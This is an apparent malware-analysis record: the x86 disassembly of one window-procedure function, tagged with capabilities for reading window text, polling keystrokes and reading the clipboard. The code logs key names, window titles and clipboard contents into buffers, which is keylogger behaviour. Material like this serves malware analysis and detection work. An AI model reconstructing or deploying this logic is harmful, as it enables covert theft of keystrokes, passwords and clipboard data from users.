Function at 0x405571
Capabilities:
Get graphical window text
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
enter 0x86c, 0
push ebx
push esi
push edi
push 0x40ba94
push 0x405b22
call fcn.00408e78
mov eax, dword [ebp - 0x86c]
and eax, 0
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp + 0xc]
sub eax, 0xbaba
jne 0x40574c
cmp dword [ebp + 0x14], 0xd
jne 0x4055c0
cmp dword [ebp + 0x10], 0xd
jne 0x4055c0
mov eax, dword [0x410ef8]
mov dword [ebp - 0x86c], eax
jmp 0x405b0a
push 0x101
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x10]
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x128]
push eax
call fcn.00405324
test eax, eax
je 0x405747
push 0x11
lea eax, [ebp - 0x26]
push eax
push dword [ebp + 0x14]
call sub.user32.dll_GetKeyNameTextA
mov eax, dword [ebp + 0x10]
cmp eax, dword [0x40c88c]
je 0x405685
push 0x40c920
lea eax, [ebp - 0x12c]
push eax
push dword [0x40c920]
call fcn.004088c4
push 0x40ba1b
call fcn.00408928
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40ba2a
call fcn.00408928
lea eax, [ebp - 0x234]
push eax
call fcn.0040332e
pop eax
push dword [eax]
call fcn.00408928
push 0x40ba36
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
mov eax, dword [ebp + 0x10]
mov dword [0x40c88c], eax
lea eax, [ebp - 0x26]
push eax
call fcn.00407e40
cmp eax, 1
jne 0x4056d8
push 0x40c920
lea eax, [ebp - 0x33c]
push eax
push dword [0x40c920]
call fcn.004088c4
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x26]
push eax
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x40572f
push 0x40c920
lea eax, [ebp - 0x340]
push eax
push dword [0x40c920]
call fcn.004088c4
push 0x40ba41
call fcn.00408928
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x26]
push eax
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40ba4b
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
mov eax, dword [0x40c920]
test eax, eax
je 0x40573b
mov eax, dword [eax - 4]
cmp eax, 0x3e8
jl 0x405747
call fcn.004022c0
jmp 0x405af3
sub eax, 0xfffffff7
jne 0x4057e4
cmp byte [0x40c1a0], 0
je 0x405763
jmp 0x405b0a
mov esi, dword [0x40c8db]
test esi, esi
je 0x405770
mov esi, dword [esi - 4]
dec esi
and edi, 0
jmp 0x4057d4
mov eax, edi
mov ecx, 4
cdq
idiv ecx
test edx, edx
je 0x405788
test edi, edi
jne 0x4057d3
lea eax, [ebp - 0x448]
push eax
push dword [0x40c8db]
mov eax, edi
inc eax
push eax
push 4
call fcn.004089bc
pop eax
push dword [eax]
call fcn.00404c95
push dword [0x40c89c]
push 0x141
push 0xdead
mov eax, dword [0x40c86c]
push dword [eax + 8]
mov eax, dword [0x40c86c]
push dword [eax + 4]
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
inc edi
cmp esi, edi
jge 0x405776
push 0
call sub.user32.dll_PostQuitMessage
jmp 0x405af3
sub eax, 0x23fc
jne 0x4059a6
cmp byte [0x40c1a0], 0
jne 0x4057fd
jmp 0x405b0a
cmp dword [ebp + 0x10], 0x7b
jne 0x405825
push 0x40c8d7
push 0
call fcn.0040888c
push 1
push 1
push 0xbab1
push dword [ebp + 0x14]
call sub.user32.dll_SendMessageA
jmp 0x4059a1
cmp dword [ebp + 0x10], 0x141
jne 0x4059a1
lea eax, [ebp - 0x54c]
push eax
lea eax, [ebp - 0x44c]
push eax
push dword [ebp + 0x14]
call fcn.00404d08
pop eax
push dword [eax]
push 0xff
call fcn.0040885c
lea eax, [ebp - 9]
push eax
push 4
call fcn.00408628
push 0x40c8d7
lea eax, [ebp - 0x554]
push eax
push dword [0x40c8d7]
call fcn.004088c4
lea eax, [ebp - 0x550]
push eax
lea eax, [ebp - 9]
push eax
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
push 0x40ba55
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 9]
push eax
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408ac0
test eax, eax
je 0x4059a1
push 0x40ba5f
push dword [0x40c8d7]
call fcn.00408ac0
test eax, eax
je 0x4058ef
push 0x40c8d7
push 0x40ba69
push dword [0x40c8d7]
call fcn.00408ac0
push eax
push 1
call fcn.00408a0c
jmp 0x4058bc
push 0x40c8d7
lea eax, [ebp - 0x55c]
push eax
push dword [0x40c8d7]
call fcn.004088c4
push 0x40ba73
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
mov esi, dword [0x40c8d7]
test esi, esi
je 0x405925
mov esi, dword [esi - 4]
push dword [0x40c8bc]
call fcn.00407e40
add esi, eax
add esi, 0x200
cmp esi, dword [0x40c8b4]
jle 0x40595d
add dword [0x40c8b4], 0x1e00
push 0
push dword [0x40c8b4]
push dword [0x40c8bc]
call fcn.00407f77
push dword [0x40c8bc]
mov eax, dword [0x40c8d7]
push eax
call fcn.00407ebd
cmp byte [0x40c1a1], 0
jne 0x405995
push 0x404e00
push 0x1388
push 0x29a
push dword [ebp + 8]
call sub.user32.dll_SetTimer
mov byte [0x40c1a1], 1
push 0x40c8d7
push 0
call fcn.0040888c
jmp 0x405af3
sub eax, 0xffffeb6f
jne 0x405ad0
cmp dword [ebp + 0x14], 0xd
jne 0x4059cd
cmp dword [ebp + 0x10], 0xd
jne 0x4059cd
mov eax, dword [0x410efc]
mov dword [ebp - 0x86c], eax
jmp 0x405b0a
push 0x100
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x10]
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x128]
push eax
call fcn.00405324
test eax, eax
je 0x405ace
push dword [ebp + 0x10]
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov dword [0x40c8c4], eax
cmp dword [0x40c8c4], 0
je 0x405ac9
push dword [0x40c8c4]
call fcn.00407e40
cmp eax, 0x64
jge 0x405ac9
push 0x40c924
lea eax, [ebp - 0x764]
push eax
lea eax, [ebp - 0x75c]
push eax
push 0x40ba75
call fcn.00408600
lea eax, [ebp - 0x65c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00407f26
call fcn.004086a8
push 0x40ba78
call fcn.004086a8
call fcn.004087d8
lea eax, [ebp - 0x760]
push eax
call fcn.0040332e
pop eax
push dword [eax]
call fcn.00408928
push 0x40ba84
call fcn.00408928
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0x864]
push eax
push dword [0x40c8c4]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40ba8f
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
call fcn.0040525c
call sub.user32.dll_CloseClipboard
jmp 0x405af3
sub eax, 0xffff35e6
je 0x405ae5
sub eax, 0x10
je 0x405ae5
inc eax
inc eax
je 0x405ae5
sub eax, 6
jne 0x405af3
call fcn.004022c0
push 0
call sub.user32.dll_PostQuitMessage
jmp 0x405b0a
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.user32.dll_DefWindowProcA
mov dword [ebp - 0x86c], eax
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x405b29
push 0x40ba94
call fcn.00408ecc
ret